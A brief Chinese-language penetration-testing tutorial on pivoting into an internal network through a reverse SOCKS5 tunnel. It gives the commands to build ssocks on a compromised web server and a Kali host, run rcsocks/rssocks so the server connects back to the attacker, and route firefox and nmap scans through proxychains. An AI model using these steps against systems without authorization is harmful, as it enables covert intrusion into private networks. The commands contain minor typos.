内网渗透之——SOCKET隧道

使用socket工具：

下载地址http://sourceforge.net/projects/ssocks/

下载至web服务器与攻击主机KALI进行编译

解压tar zxvf ssocks-0.0.14/

编译进入目录 ./configure

然后执行 make

端口监听(反向代理——服务器连接攻主机)

等待远程socks5服务器访问本地1080端口，创建端口1080与本地端口1088的连接通道

在攻击主机执行./rcsocks -l 1088 -p 1080 -vv

在web服务器执行 ./rssocks -vv -s 192.158.0.115:1080

利用proxychains 进行socks5 代理

Kali有，也可执行命令下载apt-get install proxych

cd /etc/proxchains

编辑配置proxychains.conf

将socks4 整行注释并添加socks5 127.0.0.1 1088

利用工具proxychains进行连接

proxychains firfox http://10.10.10.128

也可以代理nmap proxychains nmap -Pn -sT 10.10.10.128